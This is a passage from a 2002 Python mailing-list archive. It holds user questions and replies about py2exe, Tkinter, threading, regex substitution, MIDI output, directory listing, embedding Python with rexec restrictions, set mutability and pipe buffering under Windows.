copylefted. > >David LeBlanc >Seattle, WA USA You, unfortunately, are quoting the wrong way round; please follow Usenet convention and put new material *after* the quoted material you are replying to. -- <"><"><"> Philip Hunt <"><"><"> "I would guess that he really believes whatever is politically advantageous for him to believe." -- Alison Brooks, referring to Michael Portillo, on soc.history.what-if From mattrapoport at hotmail.com Thu May 16 12:52:27 2002 From: mattrapoport at hotmail.com (Matt Rapoport) Date: 16 May 2002 09:52:27 -0700 Subject: py2exe Service Error Message-ID: I've created a very simple Python sript that runs as a service on a Windows machine. I'd like to distribute this program without having to distribute the python compiler. It seemed as though py2exe was the perfect solution. I followed the instructions on the web site to create my .exe file and it runs perfectly on my machine! Hurray! Here's the bad part ... when I copied the .exe file and all the other files in the dist/MyService directory to a machine that doesn't have Python installed on it it doesn't work. When I try to install the service I get this message: Could not open service manager, error code 5. ANY IDEAS???? From florian.konnertz at web.de Wed May 8 02:58:25 2002 From: florian.konnertz at web.de (Florian Konnertz) Date: Wed, 08 May 2002 08:58:25 +0200 Subject: Install.: downgrade 2.2 to 2.1.3. or additionally? Message-ID: <3CD8CC91.4040306@web.de> Hi, I got python 2.2. installed by the linux slackware distro. I want to use Zope, it requires 2.1.x. Is there anything to take care of, when installing a second python, respectively do I have to deinstall the old one? Thank you for help in advance, Florian From eric.brunel at pragmadev.com Tue May 14 06:06:20 2002 From: eric.brunel at pragmadev.com (Eric Brunel) Date: Tue, 14 May 2002 10:06:20 +0000 Subject: Tkinter Configuration References: <83sn4wkjy9.fsf@panacea.canonical.org> Message-ID: Bohr, Mike wrote: > I've no libtk* and no _tkinter* module. No Files and no entrys in files... > and they'll not be created... what can I do? What do you mean exactly? I understand you do not have the tcl/tk libraries, but what do you mean by "no _tkinter* module"? The lines for this module *must* be in your Setup file under the Modules directory of your Python installation. They normally are commented out, but they must be present. Are they? -- - Eric Brunel - PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com From jb at cascade-sys.com Wed May 8 22:36:36 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Wed, 08 May 2002 19:36:36 -0700 Subject: Python vs. Perl, which is better to learn? References: <82bsbvl5q1.fsf@acropolis.localdomain> <82adrehag0.fsf@acropolis.localdomain> <821ycqjayi.fsf@acropolis.localdomain> <3CD5F1CC.A65C4AE0@engcorp.com> <3CD77BF0.49C749B2@cascade-sys.com> <3CD8B28B.C610082@engcorp.com> Message-ID: <3CD9E0B4.CD5F36F4@cascade-sys.com> Terry Reedy wrote: > Hi James, Howdy! > Thanks for the report from current real-time computing battlefronts. > My only direct real-time experience was writing an analysis program > for radiation counts that arrived in batches of three once a minute. > I wrote in Basic for a Kaypro connected by a 300/1200 baud serial > line. Worked fine. But I understand that things now are often (but > not always) quite different. My only point is there's a spectrum of economic and technical solutions and there are important application domains on the high end where Python probably is not fast enough. > Peter's concern about myth-mongering comes from the following type of > exchange: I very much appreciate this but his reply was overly simplistic to the point of error in insisting that it's almost never a problem. > The point which underlies Python but which excapes some is that faster > and faster CPUs change the ratio between programmer cost and CPU cost > in favor of using more CPU cycles. Absolutely. No question. Today's computers are faster than ever. Many times I approach a problem with a straigh-forward solution, half-expecting it to be too slow (in whatever language I am using) and I usually find that performance is not a problem. After posting my missive, I got to wondering, will there ever be a day when CPU horse power is so inexpensive and readily available that this ceases to be an issue? I dunno. Maybe. I recall that on Star Trek, the computer responds instantly to most requests, including massive, realtime 3D holodeck displays. Then too, IIRC, from time to time they pose a problem where the computer takes a while to answer. Seems to me there'll always be some combnitorial problems where that excess speed is worth the extra effort. > -- And yes, there will *always* be new or extended leading edge > applications that will sop up every cycle available. For them, the > only use for Python is (maybe) as a prototyping language for exploring > alternative algorithms. Seems patently obvious. An anciliary application I've found in domains like this is analyzing reports. You run the system and it generates megabytes of trace data. Then, after the fact, you scan the report for patterns and to calculate statistics. This is a job for Python, not humans. I must confess there are times where it actually (in all honesty) takes me longer to write the tool than it would have taken to do the job once manually. I arguably would have done better by my client if I didn't write the tool. But I'm lazy and can't stand tedious, repititious tasks, so usually, if I can think of a way to automate then that's the plan. Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From dalke at dalkescientific.com Wed May 1 13:27:52 2002 From: dalke at dalkescientific.com (Andrew Dalke) Date: Wed, 1 May 2002 11:27:52 -0600 Subject: Python vs. Perl, which is better to learn? References: Message-ID: Alex: > "Otherwise"...? > > >>> a0=re.compile('^a{0}') > >>> a0.match('') > <_sre.SRE_Match object at 0x8187fb0> > > Of *course* a{0} matches '' -- how could it FAIL to? Oops, silly me. I was posting way after my bedtime. :) What I meant to say was that if range was to be more Pythonic ("lower-boud-included, upper-bound-excluded") then the single element repeat count should also be made more Pythonic. Consider then if s = "aaaaa" in this case, s[0] == "a" which means the equivalent repeat would be ^a{0}$ to match "a" and only "a" But people interpret that as a repeat count (like "a" * 1) rather than as a slice of sort and it hasn't been a problem. At least, I've not seen people surprised by it. I therefore don't think people have a Pythonic slice expectation for the {,} construct in regexps. On the other hand, there aren't that many people who use this in the first place, so that population is somewhat self selected. Andrew dalke at dalkescientific.com From whisper at oz.net Tue May 21 04:04:07 2002 From: whisper at oz.net (David LeBlanc) Date: Tue, 21 May 2002 01:04:07 -0700 Subject: Threading unfairness In-Reply-To: <3CE9D064.81371263@cascade-sys.com> Message-ID: hehehe We'd have to call it thread.giveitup() since, in spite of my arguments to the contrary, "yield" now has different semantics in Python then in most other languages/libraries that support the keyword. David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of James J. Besemer > Sent: Monday, May 20, 2002 21:43 > To: Peter Hansen > Cc: python-list at python.org > Subject: Re: Threading unfairness > > > > Peter Hansen wrote: > > > We had been unthinkingly using time.sleep(0.01) for a while, just > > kind of blindly using it as a free "yield timeslice". > > Too bad there is no such implementation for this useful function. > > It'd be great if time.sleep(0) did the job. Or even better would > be if there was > an explicit thread.yield(). > > --jb > > -- > James J. Besemer 503-280-0838 voice > http://cascade-sys.com 503-280-0375 fax > mailto:jb at cascade-sys.com > > > > > -- > http://mail.python.org/mailman/listinfo/python-list From m.hadfield at niwa.co.nz Mon May 20 17:52:34 2002 From: m.hadfield at niwa.co.nz (Mark Hadfield) Date: Tue, 21 May 2002 09:52:34 +1200 Subject: Getting image informations References: <200205202235.20388@xsebbi.de> Message-ID: "Gerhard H?ring" wrote in message news:mailman.1021928082.23874.python-list at python.org... > * Sebastian Roth [2002-05-20 22:35 +0200]: >> >> I'm currently looking for an function that give informations about >> an image/pictire -file like test.png oder test.gif. I need >> especially two informations: width and heigth . >> >> Midnight Commander can tell me this things, but how could Python do >> that? Is there an special module for such things? > > The Python Imaging Library (PIL) > http://www.pythonware.com/products/pil/ If the reason for wanting the width and height of an image file is to embed it in an HTML page, then you may find it convenient to use HTMLgen: http://starship.python.net/crew/friedrich/HTMLgen/html/main.html -- Mark Hadfield "Ka puwaha et tai nei, Hoea tatou" m.hadfield at niwa.co.nz National Institute for Water and Atmospheric Research (NIWA) From hst at empolis.co.uk Thu May 9 13:20:20 2002 From: hst at empolis.co.uk (Harvey Thomas) Date: Thu, 9 May 2002 18:20:20 +0100 Subject: change a string conditional Message-ID: <8FC4E7C302A6A64AAD5DB1FA0E825DEB220BA0@hendrix.empolisuk.com> Mark wrote > Hi > > I need to a piece of python code that will take a string > which may or may > not begin with www and change it to lists. > > eg. www.domain.com becomes lists.domain.com > but if domain1.com (no www) the it still becomes lists.domain1.com > > an example of a pattern match will be enough.(I do a bit of > perl but never > done any python) > > mark > Assuming that the string astring is not empty (if it is then newstring will be empty), then newstring = re.sub('(www\.)?(.+)', lambda x:'www.%s' % x.group(2), astring) should do the trick _____________________________________________________________________ This message has been checked for all known viruses by the MessageLabs Virus Scanning Service. From lenssen at hitnet.rwth-aachen.de Sun May 12 06:42:27 2002 From: lenssen at hitnet.rwth-aachen.de (Philipp Lenssen) Date: Sun, 12 May 2002 12:42:27 +0200 Subject: Music, binary output from server? References: Message-ID: "Chris Liechti" wrote in message news:Xns920C1FA5ACC12cliechtigmxnet at 62.2.16.82... > "Philipp Lenssen" wrote in > news:abkali$5ob$1 at nets3.rz.RWTH-Aachen.DE: > > > Is there any way to programmatically create e.g. MIDI output via > > parameters? Could I include like the following on a webpage: > > > > i don't use background music on my pages because i don't like it that much, > but it seems reasonable that any URL should do, including those pointing to > a CGI. > No, I don't like music on normal websites too. However, this research is for an XML based adventure game language (QML) that can output to the browser window as XHTML. Somebody pointed out it could be nice to include musical commands in QML, so before I think about wether or not this should be overkill for the language (you can already include music files), I might get some technical stuff done. > > this seems like a good start (one line URL): > http://groups.google.com/groups?q=python+midi&hl=en&ie=utf-8&oe=utf- > 8&selm=199610240614.QAA01745%40jetsam.phm.gov.au&rnum=6 > > (he, even the midi.tar.gz link in the above article works and its dated > back from 1996 :-) > (Weird. For some reasons this file was send as type VRML or maybe it's my browser. It tried to open up a 3D world for me to navigate.) Thanks, that looks like what I wanted. However, I can't seem to run the files. If I see the problem correctly the following is the cause (in midiplay.py): import sgimidi import SGIMIDI Locally I run PWS on Win98 (for WWW I got Apache). If I understand this correctly, then import points to the filename, and Linux file-names are case-sensitive, while Windows file-names aren't. I started to replace occurrences of "SGMIDI" with "SGMIDIuppercase" but I can't even get hold of both files from the zip-package. From jb at cascade-sys.com Tue May 21 00:14:08 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Mon, 20 May 2002 21:14:08 -0700 Subject: "One Bullet is never enough" Paper References: <3CE5AFD3.32D59F@tundraware.com> <3CE68BAA.726DA1A6@engcorp.com> <3CE88785.B9042718@tundraware.com> <838z6epblf.fsf@panacea.canonical.org> <3CE9BC7F.A3565ADE@tundraware.com> Message-ID: <3CE9C990.3064C01C@cascade-sys.com> Tim Daneliuk wrote: > [...] What a marvelous, well informed and refreshingly mature and objective analysis of the situation. It is so much more informative and thought provoking than the usual mindless, childish MS-bashing that usually goes on here. Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From d_blade8 at hotmail.com Wed May 29 18:24:35 2002 From: d_blade8 at hotmail.com (Lemniscate) Date: 29 May 2002 15:24:35 -0700 Subject: Transforming Clusters into a Color Map Message-ID: <7396d2b2.0205291424.49a9e95f@posting.google.com> Hi all, I have recently been asked to write a program that will operate on huge arrays of numbers. As such, I have quickly immersed myself in Numeric. Things are going well (Numeric, in my experience, is extremely effective and relatively easy to learn). However, I've been informed that I need to 'color map hotspots' in the results. For example, my boss wants me to transform the results (of, for example, standard deviations run across each array) and then cluster them by color (I can explain more if anybody needs it). There are a few programs that do this but they all have propriety formatting of the results (which precludes some of the things we want to do) and limits onto the types of comparisons that can be done. Ideally, we would want our own implementation that we could use in any way we wanted. There isn't alot of support for this type of programming at my company, so the hope is that I can get a 'minimally' functional prototype so we can see what can be done. >From the people I've talked with, color-maps like these are actually fairly common, so I was hoping that somebody could point me in the right direction (maybe a module already exists to do this that interfaces with Numeric, etc.) I'm doing some searches but I'm not having a whole lot of luck (right now, I am going through stuff like "Numeric Color" etc. Thanks a bunch. Lem From kragen at pobox.com Tue May 28 18:13:08 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 28 May 2002 18:13:08 -0400 Subject: Working with directory References: <20020526.145248.1350573793.20446@iprimus.com.au> Message-ID: <83lma3udjf.fsf@panacea.canonical.org> "Occean" writes: > I have to write the function that read in to the existing directory and > display some files according to their date for example, in my PyExample > directory i got > > practice1.py Thu Mar 16 11:54:21 2002 > practice2.py Thu Mar 17 10:25:22 2002 > .. > practice7.py Friday Apr 28 1:20:22 2002 > > i want to just get 2 files from that directory which are from Mar or > specific time only. How can i do that, and which built in function allow > me to view all the file in directory with time. By looking the reference > os.time.stat but i can't work out the solution for this problem. os.listdir(dirname) lists the directory. os.stat(pathname)[stat.ST_MTIME] is the modification time of the file, as a number of seconds since 1969 GMT. time.localtime(nsecs) converts a number of seconds since 1969 GMT into a tuple giving year, month, day, etc. os.path.join(dirname, filename) will be useful in combining the stuff you get back from os.listdir into full pathnames you can pass to os.stat. So you want a loop something like this: import os, time, stat dirname = '.' for filename in os.listdir(dirname): date = time.localtime(os.stat(os.path.join(dirname, filename))[stat.ST_MTIME]) if date[1] == 3: # element 1 is month print filename, time.asctime(date) HTH. From akuchlin at ute.mems-exchange.org Wed May 1 09:06:56 2002 From: akuchlin at ute.mems-exchange.org (A.M. Kuchling) Date: 01 May 2002 13:06:56 GMT Subject: python cryptography toolkit References: <87it68b3z2.fsf@tux.ntw23.fr> Message-ID: In article <87it68b3z2.fsf at tux.ntw23.fr>, Sylvain Thenault wrote: > [1] http://www.python.org/workshops/1995-05/pct.html > [2] ftp://ftp.cwi.nl/pub/pct/pycrypt100.tgz Yow, that's very old indeed. Try http://www.amk.ca/python/code/crypto.html for a newer version, 1.9alpha1. (Note that there are endianness-related bugs that show up on platforms such as SPARC. If you're on an x86 machine, though, there's no problem with 1.9a1.) --amk (www.amk.ca) "Eureka" is Greek for "This bath is too hot". -- The Doctor, in "The Talons of Weng-Chiang" From tdelaney at avaya.com Wed May 22 20:17:43 2002 From: tdelaney at avaya.com (Delaney, Timothy) Date: Thu, 23 May 2002 10:17:43 +1000 Subject: needed Python code Message-ID: > From: holger krekel [mailto:pyth at devel.trillke.net] > > Gabe Newcomb wrote: > > I should probably make a PEP for this one: > > > > for line in python_mail_contents: > > if line.find('-ly yours'): > > stuff_mail_in_garbage(python_mail) > > you would unfortunately sort out mail from some > very good python developers ... Actually, you would unfortunately sort out mail from everyone ... I don't know a single person who has a line starting with '-ly yours' ... Hint: look up the documentation for string.find ... Tim Delaney From bl at netgroup.dk Thu May 30 11:14:27 2002 From: bl at netgroup.dk (Bo Lorentsen) Date: 30 May 2002 17:14:27 +0200 Subject: Embedding and threads ? In-Reply-To: References: Message-ID: <1022771667.689.136.camel@netgroup> On Thu, 2002-05-30 at 16:29, Martin v. L?wis wrote: > No. The code object has a link to the builtins, and the sys module > (and thus sys.modules) is a singleton, as well. So if the code performs > > import string > string.secret_channel = "data" > > then this assignment will survive PyEval_EvalCode invocations. See > Include/pystate.h for part of the state that is passed implicitly into > PyEval_EvalCode. Is it a dumb question to ask, if I asked why the two dict's are there as parameters in the first place ? Do they overwrite the global ones ? > Just assume that the interpreter is a singleton; having multiple > interpreters might not work. Does that mean --- "Python supports threads, but hey don't use them, as it may not work" ? :-) I can see that normally Python has a single ThreadState (and its related Interpreter) that works as a singleton, but is it not possible to "swap" these after getting the GIL, or am I totally off track here ? > > What do you mean by a "rexec sandbox" ? > > http://www.python.org/doc/lib/module-rexec.html Yes !!! This is what I need ! But this is designed to be used inside Python, but how about using something like this while embedding Python ? > You need to edit pyconfig.h to not set HAVE_DYNAMIC_LOADING, then recompile But, how about making Python point to an invalid "site" path, or something like it ? Or maybe I just need to look more into the rexec module, as it look wery promissing. > If you disable dynamic loading, and provide an appropriate config.c, > then you get a limitation to math, re, and others for free. Preventing > code from doing open() is not so trivial; you need to provide a custom > __builtins__ module - you could do that by editing the Python > interpreter code, by deleting things from __builtins__ at run-time, or > by using rexec. I think the rexec module sounds like the propper way to go. I also like to keep using a standart version of Python, as special versions of a major product often mess things up as the main product evolves. > Depends on what you mean by "disable". If you want that writing to > stdout has no effect: that is certainly possible. Just put in a > file-like object whose .write method is a no-op. Ok, thanks I'll se what I can do about it. > print will always use sys.stdout, so that will be a no-op as well (the > arguments to the print will still be evaluated). Hmm, it would be nice to be able to redirect stdout. So, I will see if I can manage to do that, and then no-op both stderr and stdin objects. > The Global Interpreter Lock. Ahh, thanks :-) > This controls the start symbol of the parsing. It is eval_input, > file_input, or single_input, and relates to the non-terminals in > Grammar/Grammar with the same names. If that is not clear, you need to > understand the notion of a start symbol in a grammar first. I'm not sure I fully understand, but I get the general picture, thank. Again, thanks for your answers, I am already making my first embeded code tests, and it is wery easy to manage, and somewhat nice to look at :-) /BL From robline at purdue.edu Mon May 6 01:34:20 2002 From: robline at purdue.edu (Rob Lineberger) Date: 5 May 2002 22:34:20 -0700 Subject: Trying to use "Programming Python" (Lutz), getting module errors. Message-ID: <84773476.0205052134.8c1d533@posting.google.com> I'm trying to learn Python, so I picked up Mark Lutz' Programming Python. Using latest builds of Python and Pythonwin. print 'Hello world!' worked ok. As soon as I move on to page 13, Running Module Files, it breaks. I opened up notepad and created a file called spam.py. When I try to use it, pythonwin says no such module exists. I saved it in My Documents, but I have no idea how to tell Python to look there. So I saved it to C:\Python22\Lib\spam.py. No dice. Tried using spam.py from the command prompt, IDLE, etc, all to no avail. Tried setting PYTHONPATH to C:\Python22\Lib but that didn't work either. I can't learn this language if I can't create and import modules. Any advice? From cimarron+google at taylors.org Thu May 2 14:25:41 2002 From: cimarron+google at taylors.org (Cimarron Taylor) Date: 2 May 2002 11:25:41 -0700 Subject: pmw scrolled frame widget References: Message-ID: <29e28c51.0205021025.627e1fba@posting.google.com> You need to dig into the source in lib/PmwScrolledFrame.py. On closer inspection you find the code: # Create a frame in the clipper to contain the widgets to be # scrolled. self._frame = self.createcomponent('frame', (), None, Tkinter.Frame, (self._clipper,) ) Based on that I would suggest you attempt self.sf._frame.configure(bg='white') or whatever color you need. Cim From jb at cascade-sys.com Fri May 17 22:19:00 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Fri, 17 May 2002 19:19:00 -0700 Subject: PEP 218 Re: ANN: set-0.1 module available References: <3CE55E8B.1B80EBE3@alcyone.com> Message-ID: <3CE5BA14.DD755007@cascade-sys.com> Fernando P?rez wrote: > I beg to differ. Mathematically, there's nothing in the idea of a set that > makes it immutable. I know that Python is not a mathematics-only language, > but much of the cleanliness of its design does come from following abstract > ideas as much as is reasonable. And enforcing immutability on a set is one > hell of a breakage for an object as basic to many mathematical ideas as a set > is. I beg to differ. Mathematically, there's no notion of assignment like we have in programming. From a traditional mathematics view " x = x + 1" is a nonsensical statement. At best it's a contradiction in terms. In Mathematics, you don't have assignment that can be done over and over. You can only make statements about equality or inequality. At bottom all mathematics is defined in terms of sets and predicates about sets. In the context of mathematics I would argue that ALL objects are immutable. When you say "2 + 3 = 5", the 2 and the 3 don't cease to exist. Numbers are immutable. Similarly, when you say B union C you are defining a third, new set, composed of the union of the first two. The first two don't go away. They continue to exist (necessarily) to maintain the definition of the result. You don't destroy or reuse the previous ones. In set theory you can say (assume + is union) A = B + C but you cannot say A += B or A = {1,2,3} ; A = A + {4} There is no ";" sequential operation in mathematics. Closest would be to introduce a new variable, say somethig like: A = {1,2,3} ; A' = A + {4} I've studied the mathematical subject of 'semantics' and modelling things like assignment is extremely complicated. You define sets of all possible states of your computation and then you make statements about the particular states before and after, say, a particular assignment (multiple IMMUTABLE sets.)) This is complexity of the underlying mathematics is the theoretical justification some purists (ones who know what they are talking about) use to argue to eliminate assignment and looping altogether from programming in preference for lambda and recursion. It may be the case that sets in Python should be mutable but you can't argue there's some "mathematical" basis for doing so. Mathematics suggests the exact opposite. > I guess if you want to insist on sets being usable as keys you might come up > with a pair of set-like types just like we have lists/tuples. That would seem more complicated than it needs. I would prefer to say intrinsic sets are immutable and there's a library function for a mutable version, ala String. Alternatively, implement a useful library, let everybody use it for a while and see how far it gets us. Maybe nobody want's to use sets as array indicies. > In my mind, that's like saying that you add integers to a language but you > can't > do arithmetic with them ;) I beg to differ. ;o) Fact of the matter, integers, strings and longs presently ARE immutable and you still CAN do arbitrary arithmetic with them. E.g., x = 1L << 100000 x += 1 s = string.zfill( "1", 10000 ) s += ".0" Being immutable in the context of Python does NOT restrict in any fashion the types of "arithmetic" you can do on objects. It just means the result is a new object. The runtime system can even implement whatever optimization is required to economize object space or storage or whatever, if performance is a concern. Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From pyth at devel.trillke.net Thu May 2 07:54:10 2002 From: pyth at devel.trillke.net (holger krekel) Date: Thu, 2 May 2002 13:54:10 +0200 Subject: Message queueing In-Reply-To: References: Message-ID: <20020502115410.GS16217@devel.trillke> On Thu, May 02, 2002 at 01:39:51PM +0200, Etienne Labuschagne wrote: > Hi there, > > Thanks for your reply. I have looked at Pyro, but since the system is going > to be very loosely coupled I will need features such as guaranteed message > delivery that queues offer. This means that if a producer creates a message > and puts it in the queue while a message consumer is not online, it should > keep the message until the consumer comes online. The queue then delivers > the message. If the queue machine itself dies, then the message will still > not be lost, because messages are stored in persistant storage. pyro might not be right, then. I don't know though if pyro's EventService could be extended for this usage. Anyway, are you looking for a full-blown solution ala MQSeries (IBM)? Might i ask what your use cases and performance requirements (throughput & latency) are? regards, holger From siegfried.gonzi at kfunigraz.ac.at Wed May 15 04:39:39 2002 From: siegfried.gonzi at kfunigraz.ac.at (Siegfried Gonzi) Date: Wed, 15 May 2002 10:39:39 +0200 Subject: Upper memory limit References: <3CE0E6CE.E14291D7@kfunigraz.ac.at> <3CE11388.697C9AE2@kfunigraz.ac.at> <20020514100006.D24034@eecs.tufts.edu> Message-ID: <3CE21ECB.59DE58DD@kfunigraz.ac.at> Bengt Richter wrote: > Seriously, one might suspect you have rolled your own library of matrix operations > using lists of lists as matrix representations, and then crunching on huge > measurement sequences with numbers stored as strings and converted every time > they're used, to estimate monster state vectors and covariance matrices etc., > and maybe iterating on top of that to make something nonlinear converge? No, I use the Numeric stuff too. For example reading the binary files and writing to files is done with the help of arrays. Maybe I should roam around and wait for heat stroke in order to believe what I experienced in the morning: My first calculation in the morning took 40minutes (yesterady I went to bed after the same calculation but with an execution time of 6 hours). S. Gonzi From d_blade8 at hotmail.com Mon May 20 18:54:24 2002 From: d_blade8 at hotmail.com (Lemniscate) Date: 20 May 2002 15:54:24 -0700 Subject: Sort dictionary data References: Message-ID: <7396d2b2.0205201454.4950434f@posting.google.com> 1) It doesn't work. 2) It shouldn't work. Dictionaries are unordered, by definition. What you end up with is trying to sort an unordered list. It may sort, but the dictionary immediately unsorts itself. Also, since sort returns None, you can't even see the sorted version. Example: >>> myDict = {1:'a', 2:'b', 3:'c', 4:'d', 5:'e', 6:'f', 7:'g', 0:'za'} >>> myDict.values() ['za', 'a', 'b', 'c', 'd', 'e', 'f', 'g'] >>> myDict.values().sort() # Nothing gets returned >>> myDict.values() ['za', 'a', 'b', 'c', 'd', 'e', 'f', 'g'] What you may want to do is something like: >>> DicValList = myDict.values() >>> DicValList ['za', 'a', 'b', 'c', 'd', 'e', 'f', 'g'] >>> DicValList.sort() >>> DicValList ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'za'] >>> This way you can loop over them (you can get the illusion of sorting a dictionary by key by doing this with a list from myDict.keys(), sorting the list and then going through each one with a call to the values. Anyways, have fun. Dialtone wrote in message news:... > On Mon, 20 May 2002 15:10:32 -0300, Marcus Laranjeira > wrote: > > >does anyone knows how can this be done ? Is there any ready module to do > >such sorting ? > > Did you try with dic.values().sort()? > > I have not tried but it should work as you want. From kragen at pobox.com Wed May 29 23:22:07 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 29 May 2002 23:22:07 -0400 Subject: matching one time through a loop References: Message-ID: <83d6vemiao.fsf@panacea.canonical.org> "Corey G." writes: > I have a script that parses some email from a Maildir directory > and I am looking for the number 550. I want to stop searching once > the first occurrence is found in order to save time and be efficient. > This sort of thing can be done in Perl using the "last" statement. break From aleax at aleax.it Tue May 7 04:47:08 2002 From: aleax at aleax.it (Alex Martelli) Date: Tue, 07 May 2002 08:47:08 GMT Subject: "a better input" References: Message-ID: Gareth McCaughan wrote: ... >> To expand: we could really do with something that lets the user >> enter "46" or "0x1234" or "'walrus'" or "-2+6j" or "[1,'a',{3:4}]" >> and returns the same as |input| does for those, but that doesn't >> permit "f(123)" or "2**2002" or "[x for x in [1,2,3]]". You'll have to pin that down more closely, as I can't see any easily definable difference between operators used as in: -2+6j and operators used as in: 2**6 yet apparently you want to allow the former but forbid the latter (why? what is gained in forcing people to do this in their head?). To me, it seems that taking the input string and applying restricted evaluation (carefully pruning what builtins we want to allow or disallow -- indeed perhaps _enriching_ the set of normal builtins with e.g. functions from math...) would be satisfactory. But that wouldn't meet your examples -- not only 2**22, but also list comprehensions would then surely be allowed. If you can give better specs of what you want to allow and disallow (and ideally WHY...) then we may think about implementation (e.g. by compiling then perusing the bytecodes to see if anything that must not be allowed has slipped in). Alex From markus.vonehr at ipm.fhg.de Tue May 14 11:22:25 2002 From: markus.vonehr at ipm.fhg.de (Markus von Ehr) Date: Tue, 14 May 2002 17:22:25 +0200 Subject: win32com, access of 2-dimensional Property Message-ID: <3CE12BB1.50FF6851@ipm.fhg.de> Hi, I use an ActiveX Interface for an Apogee camera. The code works, the only problem I have is to retrieve the Image data which is a twodimensional ReadOnly Property of Data Type Variant. Does Anybody know how to access these types? This doesnt work: cam.Image(100, 100), cam.Image("100", "100") neither cam.Image[100, 100] Thanks for any suggestions! Markus The code looks like that: ############################### import win32com.client cam = win32com.client.Dispatch("Apogee.Camera") cam.Init("c:\Programme\Python20\Apogee\kx1.ini") cam.CoolerMode = 2 # cam.Expose(1, true) #does not work cam.Expose(1, 1) # works, correct ? cam.Image(100, 100) # does not work From do_not_use_this_as_it_does_not_work at bellatlantic.net Fri May 24 20:57:11 2002 From: do_not_use_this_as_it_does_not_work at bellatlantic.net (Ross Lazarus) Date: Sat, 25 May 2002 00:57:11 GMT Subject: Academic citation for Python Message-ID: <3CEEE0D8.7030102@bellatlantic.net> How should the Python language be cited in an academic publication? For example, in http://bioinformatics.oupjournals.org/cgi/reprint/17/8/756.pdf the author mentions http://www.python.org in the text rather than formally citing the primary source - or is that the appropriate primary source and recommended attribution? I found "Copyright 1991-1995 by Stichting Mathematisch Centrum, Amsterdam, The Netherlands" at http://www.python.org/doc/Copyright.html, but that doesn't seem as complete or helpful as I'd like for a refereed journal. From maxm at mxm.dk Wed May 15 02:58:43 2002 From: maxm at mxm.dk (Max M) Date: Wed, 15 May 2002 08:58:43 +0200 Subject: Python gets a favourable mention Message-ID: <3CE20723.4070808@mxm.dk> The developers of the Gento Linux distribution apparently use Python a lot. http://www.osnews.com/story.php?news_id=1080 regards Max M From gerhard at bigfoot.de Sat May 18 08:27:43 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: Sat, 18 May 2002 14:27:43 +0200 Subject: newbie-question: overloading methods In-Reply-To: <3ce645b7$0$23712$9b622d9e@news.freenet.de> References: <3ce645b7$0$23712$9b622d9e@news.freenet.de> Message-ID: <20020518122743.GA575@lilith.my-fqdn.de> * merman [2002-05-18 14:28 +0200]: > Hi, > > is there a way to overload methods like in C++ or Java? Sure. Look at http://www.python.org/doc/Newbies.html for beginner-level Python introductions. Gerhard -- mail: gerhard bigfoot de registered Linux user #64239 web: http://www.cs.fhm.edu/~ifw00065/ OpenPGP public key id AD24C930 public key fingerprint: 3FCC 8700 3012 0A9E B0C9 3667 814B 9CAA AD24 C930 reduce(lambda x,y:x+y,map(lambda x:chr(ord(x)^42),tuple('zS^BED\nX_FOY\x0b'))) From sholden at holdenweb.com Mon May 20 13:44:27 2002 From: sholden at holdenweb.com (Steve Holden) Date: Mon, 20 May 2002 13:44:27 -0400 Subject: popenX() misunderstanding on win32 References: <8351bb33.0205200920.67743afb@posting.google.com> Message-ID: "Jon Nicoll" wrote ... > Hello there > > I'm trying to get a small python script running under WinNT and am > having trouble due to my lack of understanding of the mechanism of > popen2() etc. I know that previous versions of popenX() have been > broken but I don't think that's the problem. > > In its simplest form: > > Say I have a console program UPPER.EXE, which loops round echoing > standard input to standard output: > > c:\> upper > qwertyuiop # my typing > QWERTYUIOP # the program > etaions # me > ETAOINS # the program > ... > ^C > C:\> > > Then, how can I use popenX() to invoke the program, and write and read > to 'stdin' and 'stdout', to duplicate the above? my experiments so > far, involving os.popenX() and win32pipe.popenX(), haven't got me > anywhere - I either get nothing when I do a read, or the process hangs > waiting for input that I think should alread be there. > Jon: The synchronisation of input and output via pipes from a single process can be very tricky to solve if you don't know what to expect from the program. Even when you do, you will find that the OS's buffering system can get in your way. This is a classic problem in half-duplex protocol design. The problem is that when you run the "driven" program (in this case, upper.exe) on a terminal you generally get non-buffered or line-buffered I/O, so everything works fine. You can clearly see when more input is required, because you see the output corresponding to your prior input. Once pipes are involved, your "driven" process has to see the input before it can respond, but when your Python program writes to the pipe there's no way of telling the I/O system to flush, except by explicit use of flush(). This can take care of the output side, but if the program reading your input from a pipe doesn't know it's interactive it will not be likely to be doing the same sort of thing. Thus your program can get blocked, waiting for output to arrive from the driven program, when the output is just sitting in an I/O buffer waiting to be flushed by more output. Classic deadlock, since more output will only be produced when the driven program will only produce when it sees more input, which your program will only produce when it sees the output it's waiting for. Thus what you are looking to do is, in the general case, tricky. If you can force the use of unbuffered I/O in both directions and you know pretty much what to expect or when "turnaround" is required, you can usually get things working. Otherwise you are left resorting to the use os pseudo-teletypes on Unix-style platforms, and pretty much buggered under Windows. regards Steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From warlock at eskimo.com Sat May 4 13:47:55 2002 From: warlock at eskimo.com (Jim Richardson) Date: Sat, 4 May 2002 10:47:55 -0700 Subject: degrees and radians. References: <3330ba.s35.ln@127.0.0.1> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Sat, 04 May 2002 08:30:58 GMT, Tim Hammerquist wrote: > Tim Hammerquist graced us by uttering: >> Jim Richardson graced us by uttering: >>> I am trying to get the math module to deal with degrees rather than >>> radians. (that it deals with radians for the angular functions like >>> sin() isn't mentioned in the docs, which was sort of an eyeopener :) >>> I can't find any info on doing this. I can convert from-to degrees in >>> the code calling the function, but that's a bit clunky. Any pointers >>> to an 